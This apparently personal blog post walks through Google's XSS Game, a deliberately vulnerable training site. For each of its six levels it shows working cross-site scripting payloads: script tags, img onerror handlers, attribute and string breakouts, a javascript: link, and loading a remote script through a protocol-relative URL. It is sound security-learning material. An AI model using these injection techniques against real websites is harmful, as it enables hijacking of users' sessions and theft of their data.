Skip to main content
  1. My Blog Posts and Stories/

Google XSS Game Walk Through

··1802 words·9 mins

Last week, I found out that google has a XSS game. I decided to play through the game and write a blog post about it. I will be going through the levels and explaining how I solved them.

If you want to try them yourself, feel free to visit xss-game.appspot.com.

Before we start going through the levels, let’s talk about what XSS is.

What is Cross Site Scripting (XSS)? #

Cross Site Scripting (XSS) is a web security vulnerability that allows an attacker to execute malicious scripts in a victim’s browser. This can be used to steal cookies, session tokens, or other sensitive information.

To show you guys an example, lets head on to level 1.

Level 1: Hello, world of XSS #

When we first enter the page, we are greeted with a simple website with a query input and a search button.

Level 1

As a start, we can inspect the source code for the program. I will only be leaving the important parts in.

...

# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."

# Display the results page
self.render_string(page_header + message + page_footer)

...

From that section of the source code, we can see that the query is appended into the message before it is sent to the user.

Thus, to solve this question, we can simply enter <script>alert("Hello, world!")</script> into the query input and click search.

Tada! This level is solved.

Level 1 Solved
Level 1 solve Screen

If we inspect element and look at the search query, we can see that <script>alert("Hello, world!")</script> appears directly in the message. Which causes the alert to happen.

Script appears directly in the message
Inspecting after solving the level

Level 2: Persistence is key #

Straight up, based on the title of the level, we can guess that it is a stored XSS challenge. We are given a text box with a share status button.

Level 2
Level 2

Similar to level 1, let us try the most straightforward solution first. We can enter <script>alert("Hello, world!")</script> into the text box and click share status.

However script does not execute and there is no alert. If we inspect element, indeed the script tag is there. However, script tags do not execute within table elements.

Level 2 attempt 1

To circumvent the problem, we can make use of other ways to execute an XSS payload. One way is to use the onerror attribute of an image tag. The onerror attribute of an image tag is called when the image fails to load. If we give the image an invalid src, we can cause the onerror to trigger.

By using the payload <img src="x" onerror="alert('Hello, world!')">, we can execute the alert as x is not a valid source.

Level 2 solved
Level 2 solved

If we inspect the post element, we can see that the payload is there.

Level 2 inspect element
Inspecting element after solving the level

Level 3: That sinking feeling… #

In this challenge, we are not given an input to play around with, instead, we are given an image viewer. It has 3 different tabs used to view 3 different images.

Level 3
Level 3

If we look at the source code, we can see that there is a very interesting function which dictates how the image loads.

...

function chooseTab(num) {
  // Dynamically load the appropriate image.
  var html = "Image " + parseInt(num) + "<br>";
  html += "<img src='/static/level3/cloud" + num + ".jpg' />";
  $("#tabContent").html(html);

  window.location.hash = num;

  // Select the current tab
  var tabs = document.querySelectorAll(".tab");
  for (var i = 0; i < tabs.length; i++) {
    if (tabs[i].id == "tab" + parseInt(num)) {
      tabs[i].className = "tab active";
    } else {
      tabs[i].className = "tab";
    }
  }

  // Tell parent we've changed the tab
  top.postMessage(self.location.toString(), "*");
}
...

We can observe from the function above that the image is loaded from the /static/level3/cloud/{num}.jpg directory.

...
<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
...

By looking at how the images are rendered, we can see that they call the chooseTab function with '1', '2' or '3' as the parameter and loads the image.

When we click on the tab, we can see that the URL and image changes accordingly. When we click image 3, #3 appears behind the url.

Level 3 Image changes according to URL
Level 3 Image changes according to URL

From this, we have determined that the string after the # is the place where we should inject our payload. Now we just need to decide what payload to use.

From this snippet in the code,

"<img src='/static/level3/cloud" + num + ".jpg' />";

Our payload will be part of an image tag. We can use the onerror attribute to execute our payload again. First we have to close the quote, and follow it up with our payload.

" onerror=alert(1) ";

With that we have completed level 3.

Level 3 solved
Level 3 solved

If we inspect element, we can see that the first quote ended the src section of the image tag, and the on alert is given as attribute to the image tag. With the extra quote at the back '.jpg' just becomes another attribute of the image tag.

Level 3 inspect element
Level 3 inspect element

Level 4: Context matters #

In this challenge, we are presented with an input with a button to create a timer.

Level 4
Level 4

When we click the button, a timer is created which gives us a time’s up alert when the time is up.

If we look closely at level.py we can see that the get method takes the timer input from the user and passes it into the template timer.html

...
def get(self):
    # Disable the reflected XSS filter for demonstration purposes
    self.response.headers.add_header("X-XSS-Protection", "0")

    if not self.request.get('timer'):
      # Show main timer page
      self.render_template('index.html')
    else:
      # Show the results page
      timer= self.request.get('timer', 0)
      self.render_template('timer.html', { 'timer' : timer })

    return
...

Taking a look at the template, we can see where the timer variable has ended up.

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

The onload function runs the javascript when the image is loaded. Without even looking at the implementation of startTimer we can deduce that we can add additional code into {{ timer }} to make it run an alert.

");alert(1);(";

Level 4 solved
Level 4 solved

By inspecting the element, we can see that we have successfully tagged on an alert function within the onload section of the image tag. This causes the alert to be executed when the image is loaded.

Level 4 inspect element
Level 4 inspect element

Level 5: Breaking protocol #

In this challenge, there are 3 main pages which we are presented with, namely welcome.html, signup.html and confirm.html.

Level 5
Level 5

The welcome page leads to the sign up page, the sign up page leads to the confirm page. The confirm page redirects us back to the welcome page.

Sign up and confirm takes in a next url parameter and uses them within their templates. By taking a look at where they are used, we can decide if that is the parameter we have to place our payload.

Within signup.html, the next is used within a URL href.

...
<!-- signup.html -->
<a href="{{ next }}">Next >></a>
...

Within confirm.html, the next is used within a URL redirect.

...
<!-- confirm.html -->
<script>
  setTimeout(function () {
    window.location = "{{ next }}";
  }, 5000);
</script>
...

As the target is to execute an alert, my first instinct was to try to run the code within the script tags for the {{next}} in confirm.html.

?next=";alert(1);"

However, this did not work as the script tags are not executed. Upon close inspection, there was some form of sanitization that was done which prevents the alert from showing up.

Level 5 Attempt 1
Level 5 Attempt 1

Even after trying numerous payloads, I am still unable to load the alert through confirm.html. This is when I decided to look at the hints which is provided

Level 5 Hint 2
Level 5 Hint 2

Hint 2 states that I should look at the signup.html instead.

As the next parameter is used within the href, I decided to try to use the javascript: protocol to execute the alert. However, this will require 1 click from the side of the user. I was not sure if this is the intended solution.

?next=javascript:alert(1);

By putting that as the parameter to next, the next button is when clicked

Level 5 Solved
Level 5 Solved

By inspecting element we can see that the payload worked.

Level 5 Inspect Element
Level 5 Inspect Element

When we use javascript:alert(1) within a href, when the user clicks on the script, the alert will be executed.

Still unsure if that is the intended solution, I decided to view more hints.

Just when I open the third hint, I realize that this might be the answer that they were expecting.

Level 5 Hint 3
Level 5 Hint 3

Level 6: Follow the 🐇 #

In this challenge, there are no inputs on the website. So similar to level 3, we have to look at the source code to find the place where we inject our payload.

Level 6
Level 6

From the mission description, we can see that the gadget is loaded from location.hash which is similar to the one in Level 3. Now we just need to know how the script is loaded in.

By inspecting the source code, I found this interesting function.

function includeGadget(url) {
  var scriptEl = document.createElement("script");

  // This will totally prevent us from loading evil URLs!
  if (url.match(/^https?:\/\//)) {
    setInnerText(
      document.getElementById("log"),
      'Sorry, cannot load a URL containing "http".'
    );
    return;
  }
  // Load this awesome gadget
  scriptEl.src = url;
  ...

  // Add to the <head> tag
  document.head.appendChild(scriptEl);
}

The input from the user is passed to the function. However, the function will check if the input contains http or not. If it does, it will not load the script.

In this case, we must pass in a url without specifying the http or https protocol. This can be done by simply omitting it.

https://google.com has the same result as //google.com when you key them into the browser.

All that is left to do is to create a payload that will load an alert and pass it into the function. By uploading a script to github pages, we can use the url to load the script. The payload that I used is at https://payload.jh123x.com/alert.js

By passing in the payload below we can solve the question.

#//payload.jh123x.com/alert.js

Level 6 Solved
Level 6 Solved

By inspecting the element we can see that the script is indeed loaded.

Level 6 Inspect Element
Level 6 Inspect Element

Conclusion #

After completing all the levels, there was a cool cake art on the website.

Cake
Cake

This experience has taught me the large variety of ways XSS can be exploited. I hope you enjoyed this writeup and learned something new together with me too.

This definitely serves as inspiration for me to further learn more about XSS and web security in general.

If you want to try it yourself, feel free to visit xss-game.appspot.com.